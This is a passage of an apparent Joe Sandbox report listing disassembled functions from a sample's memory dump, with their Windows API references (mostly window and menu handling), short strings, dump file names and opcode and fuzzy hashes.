Function 0000000140158370 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

APIs

LockWindowUpdate.USER32 ref: 00000001401583A6
IsWindow.USER32 ref: 00000001401583E0
GetWindowRect.USER32 ref: 000000014015845D
CopyRect.USER32 ref: 0000000140158649
LockWindowUpdate.USER32 ref: 0000000140158692

Strings

6, xrefs: 0000000140158676

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$LockRectUpdate$Copy
String ID: 6
API String ID: 2992910783-498629140
Opcode ID: 652a8301efe8cdd8df316e96a0fe1c9df0e04a397a379a47af6c6642e83b352a
Instruction ID: 783501a4e73ab3c1924acf5550ab67273782ed861fa34d4805c1dcfc66db961f
Opcode Fuzzy Hash: 652a8301efe8cdd8df316e96a0fe1c9df0e04a397a379a47af6c6642e83b352a
Instruction Fuzzy Hash: 0DA19E3671068186EB05DBA7D8947ED27A1BB8CFC8F499526DF0A67B65DF38C401CB04

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140152154 Relevance: 10.7, APIs: 7, Instructions: 234windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32 ref: 00000001401521EF
IsMenu.USER32 ref: 0000000140152209
IsMenu.USER32 ref: 000000014015221E
SendMessageW.USER32 ref: 000000014015225A
GetClassLongPtrW.USER32 ref: 0000000140152273
GetWindowLongW.USER32 ref: 00000001401522CA

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Menu$Long$ClassMessageSendSystemWindow
String ID:
API String ID: 2993048677-0
Opcode ID: 5845efb493f626df1cf0549473e59315d0ad35be4aa24ceaa7189a38b154f427
Instruction ID: e15764b0db0e03e835221e5a581c7aafa023a6447e80fef72c8dba48731ab533
Opcode Fuzzy Hash: 5845efb493f626df1cf0549473e59315d0ad35be4aa24ceaa7189a38b154f427
Instruction Fuzzy Hash: 1FA18F3621468086EB65DB27E4543EE6361F78EF94F484225EF6A4BBE1DF39C541C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014015C2D8 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227timeCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 000000014015C371

Part of subcall function 000000014004AD30: ScreenToClient.USER32 ref: 000000014004AD49
Part of subcall function 000000014004AD30: ScreenToClient.USER32 ref: 000000014004AD5A

RedrawWindow.USER32 ref: 000000014015C4C4
RedrawWindow.USER32 ref: 000000014015C4D6
RedrawWindow.USER32 ref: 000000014015C505
SetTimer.USER32 ref: 000000014015C537

Strings

/, xrefs: 000000014015C5BA

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$Redraw$ClientScreen$RectTimer
String ID: /
API String ID: 26607385-2043925204
Opcode ID: 0a3b29e73952d5148bf47d219ca2eb51ce00bd341fc387a26e140244e797ba29
Instruction ID: 4d401808a4655bfbabc02a52809821df50b78c344914ebb37e2a02e4ff5d92e7
Opcode Fuzzy Hash: 0a3b29e73952d5148bf47d219ca2eb51ce00bd341fc387a26e140244e797ba29
Instruction Fuzzy Hash: 67913D3631568086EA16EB67E5547ED6361BB8DFC0F485021EF0A4BBA6DF39C511C704

Uniqueness

Uniqueness Score: -1.00%

Function 000000014016E3B0 Relevance: 10.6, APIs: 7, Instructions: 145windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 000000014016E436
SendMessageW.USER32 ref: 000000014016E475
SendMessageW.USER32 ref: 000000014016E4BD
LoadIconW.USER32 ref: 000000014016E504
LoadIconW.USER32 ref: 000000014016E519
GetClassLongPtrW.USER32 ref: 000000014016E58C

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

SendMessageW.USER32 ref: 000000014016E5E1

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$IconLoad$ClassExceptionLongThrow
String ID:
API String ID: 1634575180-0
Opcode ID: bda70c2ce5368a83901fc2a74ebea089a940846b70b56b564ea54febd301bbc5
Instruction ID: 0b76840bcca805542515d74292dcd280e11a407298cde9f1598baf9387dc3697
Opcode Fuzzy Hash: bda70c2ce5368a83901fc2a74ebea089a940846b70b56b564ea54febd301bbc5
Instruction Fuzzy Hash: E6516E35300B8086EB66EB63E9947EE27A1EB8DFC4F4855219F5E47BA6DE38D441C301

Uniqueness

Uniqueness Score: -1.00%

Function 000000014013E6C0 Relevance: 10.6, APIs: 7, Instructions: 126windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 000000014013E707
IsWindowVisible.USER32 ref: 000000014013E736
IsWindowVisible.USER32 ref: 000000014013E785
RedrawWindow.USER32 ref: 000000014013E7AD
RedrawWindow.USER32 ref: 000000014013E7C9
RedrawWindow.USER32 ref: 000000014013E7F1
RedrawWindow.USER32 ref: 000000014013E849

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$Redraw$Visible
String ID:
API String ID: 1637130220-0
Opcode ID: 409fe66dd77c07c7b7f765cca77378ce19a3d9dc0158cc62bb3bc341edeeadff
Instruction ID: 9ba695fd84e26366babb64907a32b19d68e20b9f8e94b10e1ebdb90aed8bd6e8
Opcode Fuzzy Hash: 409fe66dd77c07c7b7f765cca77378ce19a3d9dc0158cc62bb3bc341edeeadff
Instruction Fuzzy Hash: 3F512A36714A4482FA66DF27E8947EA73A0FB8CFC4F145025DF4A8B6B0DE79C5068744

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140093FEC Relevance: 9.6, APIs: 6, Instructions: 634COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 000000014009409A

Part of subcall function 0000000140074230: SrcHashImpl::SrcHashImpl.MSPDB140-MSVCRT ref: 0000000140074279
Part of subcall function 0000000140074230: GetClientRect.USER32 ref: 00000001400742A7

Part of subcall function 000000014003A82C: GetWindowLongW.USER32 ref: 000000014003A849

SetRectEmpty.USER32 ref: 0000000140094565
IntersectRect.USER32 ref: 00000001400945A7
IntersectRect.USER32 ref: 00000001400945F4
InflateRect.USER32 ref: 0000000140094937
GetClientRect.USER32 ref: 000000014009418D

Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075163
Part of subcall function 0000000140075108: VerSetConditionMask.KERNEL32 ref: 0000000140075174
Part of subcall function 0000000140075108: VerifyVersionInfoW.KERNEL32 ref: 0000000140075187
Part of subcall function 0000000140075108: GetSystemMetrics.USER32 ref: 0000000140075198

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$Client$ConditionHashIntersectMask$EmptyImplImpl::InflateInfoLongMetricsSystemVerifyVersionWindow
String ID:
API String ID: 4129552557-0
Opcode ID: e747a61e9c0731c67c822f5b42d6cabd4835da2cd403239e1808dae041b1afa0
Instruction ID: 02ec1eecf3b28572dd6deb6ce9c3c26d1e6ff52faeab7eda545a5e34d8ccd1d5
Opcode Fuzzy Hash: e747a61e9c0731c67c822f5b42d6cabd4835da2cd403239e1808dae041b1afa0
Instruction Fuzzy Hash: 0D52BC32624A9586EB12DB67E444BED73A4FB8DBC8F458216EF0957BB5DB78C840C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400C0564 Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 492windowCOMMON

Download Yara Rule

APIs

_cwprintf_s_l.LIBCMT ref: 00000001400C085F

Part of subcall function 00000001401351D4: std::ios_base::~ios_base.LIBCPMT ref: 000000014013527B

Part of subcall function 00000001401CC054: __report_securityfailure.LIBCMT ref: 00000001401CC05D

IsMenu.USER32 ref: 00000001400C05D4

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

GetCurrentDirectoryW.KERNEL32 ref: 00000001400C074D

Strings

Recent File, xrefs: 00000001400C06F5
&%d %Ts, xrefs: 00000001400C0853

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CurrentDirectoryExceptionMenuThrow__report_securityfailure_cwprintf_s_lstd::ios_base::~ios_base
String ID: &%d %Ts$Recent File
API String ID: 4135784057-993655659
Opcode ID: 355f372e7fa2f6aa233080dd4b98b2fb6dce10f53e64cb44d46bf2d7fc4a526a
Instruction ID: 2e64aed256bbb5a07120bbe0d21b2bdb6608cefac2cef0188d5fc0116dd88002
Opcode Fuzzy Hash: 355f372e7fa2f6aa233080dd4b98b2fb6dce10f53e64cb44d46bf2d7fc4a526a
Instruction Fuzzy Hash: 6D127C36218B8186EA5ADF67D4943EE63A0F78DBD4F494126EF5947BA6DF38C801C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014003C388 Relevance: 9.2, APIs: 6, Instructions: 219fileCOMMON

Download Yara Rule

APIs

PathIsUNCW.SHLWAPI ref: 000000014003C4CB
GetVolumeInformationW.KERNEL32 ref: 000000014003C501
CharUpperW.USER32 ref: 000000014003C556
FindFirstFileW.KERNEL32 ref: 000000014003C570
FindClose.KERNEL32 ref: 000000014003C583
GetFullPathNameW.KERNEL32 ref: 000000014003C3F7

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: FindPath$CharCloseExceptionFileFirstFullInformationNameThrowUpperVolume
String ID:
API String ID: 2923705660-0
Opcode ID: a085fa28f57ec527c8c96ab7cd16f4eec7f2f3044cc184721b1f7643e3a6735e
Instruction ID: 430b533cce07087ab279d7e930388c5030057c858d2d547ba3f0f0793df7da52
Opcode Fuzzy Hash: a085fa28f57ec527c8c96ab7cd16f4eec7f2f3044cc184721b1f7643e3a6735e
Instruction Fuzzy Hash: 8581B171210A4041FA27AB2BA455BEF6390AB8DBE4F544A11FF6987BF5DF38C851C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401781F4 Relevance: 9.1, APIs: 6, Instructions: 88windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014003A82C: GetWindowLongW.USER32 ref: 000000014003A849

Part of subcall function 0000000140178820: GetParent.USER32 ref: 0000000140178828
Part of subcall function 0000000140178820: GetParent.USER32 ref: 0000000140178831

SendMessageW.USER32(?,?,00000000,0000000140104C69), ref: 0000000140178282
SendMessageW.USER32(?,?,00000000,0000000140104C69), ref: 00000001401782B6
SendMessageW.USER32(?,?,00000000,0000000140104C69), ref: 00000001401782D2
SendMessageW.USER32(?,?,00000000,0000000140104C69), ref: 00000001401782E7
SendMessageW.USER32(?,?,00000000,0000000140104C69), ref: 0000000140178303
SendMessageW.USER32 ref: 0000000140178331

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$Parent$LongWindow
String ID:
API String ID: 4191550487-0
Opcode ID: 0951ddaa1630b794e425368f44b63be50515e7ab2b2bc185e36350806b7c4ad6
Instruction ID: f9cd7551443dacc0560127e61de9704e38d3244a5eb463cbfd8f8edefdf3a124
Opcode Fuzzy Hash: 0951ddaa1630b794e425368f44b63be50515e7ab2b2bc185e36350806b7c4ad6
Instruction Fuzzy Hash: 6531C136B40A4092FB6A9B27F458BDE6760F78DF94F541021DF4A07BA6CF79C4908780

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401D83C4 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00000001401D843D
RtlLookupFunctionEntry.KERNEL32 ref: 00000001401D8455
RtlVirtualUnwind.KERNEL32 ref: 00000001401D8490
IsDebuggerPresent.KERNEL32 ref: 00000001401D84C9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000001401D84D3
UnhandledExceptionFilter.KERNEL32 ref: 00000001401D84DE

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 996539c13bf56de6fff70cc47f328bc9d814000f53a173e515cb7ec8e31f5b4b
Instruction ID: a544c38855a6908e0c7bcf386b667b2c9e8f38dfa1ec4b25b4e08dd131a45271
Opcode Fuzzy Hash: 996539c13bf56de6fff70cc47f328bc9d814000f53a173e515cb7ec8e31f5b4b
Instruction Fuzzy Hash: 54319F36214B8186EB61CF26E8447DE33A4F788B58F54012AEB9D47BA8DF38C546CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140162048 Relevance: 8.2, APIs: 5, Instructions: 684windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 0000000140162175
SendMessageW.USER32 ref: 000000014016219E
std::ios_base::~ios_base.LIBCPMT ref: 0000000140162504
GetParent.USER32 ref: 0000000140162512
SendMessageW.USER32 ref: 0000000140162946

Part of subcall function 000000014003A690: GetDlgCtrlID.USER32 ref: 000000014003A6AA

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$CtrlParentWindowstd::ios_base::~ios_base
String ID:
API String ID: 3887031883-0
Opcode ID: 7cfb668fa1a89feb959b52328b2ac2b6c596761aa6dc740b9b283891b68f05ff
Instruction ID: d474cb4dc8cdb04678e2239305b384f8ee8e8ebb8686284264462acc162c7b1a
Opcode Fuzzy Hash: 7cfb668fa1a89feb959b52328b2ac2b6c596761aa6dc740b9b283891b68f05ff
Instruction Fuzzy Hash: B6524B36600A4087EA66EB27D8953EE63A1F789BC4F444515EF8E47BB6DF38E841C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014016009C Relevance: 7.8, APIs: 5, Instructions: 264windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 0000000140160102
IsWindow.USER32 ref: 00000001401603EF
SendMessageW.USER32 ref: 0000000140160424
GetParent.USER32 ref: 000000014016042E
RedrawWindow.USER32 ref: 000000014016044B

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSendWindow$ParentRedraw
String ID:
API String ID: 3493001960-0
Opcode ID: 9575dd3d1a55c1d9dc4051e2730fa2d99d7eb429e5d93d6c34a5483677be9026
Instruction ID: aa84f0df66b489b9ab9d0d5132db7110ad1b08fb615910550d34eed50c83f706
Opcode Fuzzy Hash: 9575dd3d1a55c1d9dc4051e2730fa2d99d7eb429e5d93d6c34a5483677be9026
Instruction Fuzzy Hash: 27A13B36704A9286EE16EFA798547EA63A1BB8DFC4F098436DF0E477A1DE79C441C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001401724E8 Relevance: 7.8, APIs: 5, Instructions: 255COMMON

Download Yara Rule

APIs

GetWindowRect.USER32 ref: 0000000140172772
GetWindowRect.USER32 ref: 00000001401727DC
GetWindowRect.USER32 ref: 0000000140172890
GetWindowRect.USER32 ref: 00000001401728CC
LoadCursorW.USER32 ref: 000000014017295C

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: RectWindow$CursorLoad
String ID:
API String ID: 3444235573-0
Opcode ID: 29375ded6e8925bd073ffb9992306f624188040a540ba8e1c401448822a0c7d5
Instruction ID: 58489b30925c868ccb3a5454988bb159249b18a948cc87e681390866717db4a7
Opcode Fuzzy Hash: 29375ded6e8925bd073ffb9992306f624188040a540ba8e1c401448822a0c7d5
Instruction Fuzzy Hash: 4FC15B32600AC086EB26DF76E8647DE6760FB8DB84F444126EB9E47BA6DF78D541C700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400686C8 Relevance: 7.5, APIs: 3, Strings: 1, Instructions: 478keyboardCOMMON

Download Yara Rule

APIs

GetAsyncKeyState.USER32 ref: 0000000140068743

Part of subcall function 000000014006BB48: IsRectEmpty.USER32 ref: 000000014006BB95
Part of subcall function 000000014006BB48: InvertRect.USER32 ref: 000000014006BBAE
Part of subcall function 000000014006BB48: SetRectEmpty.USER32 ref: 000000014006BBBC

GetAsyncKeyState.USER32 ref: 0000000140068BFC

Strings

(, xrefs: 0000000140068C89

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

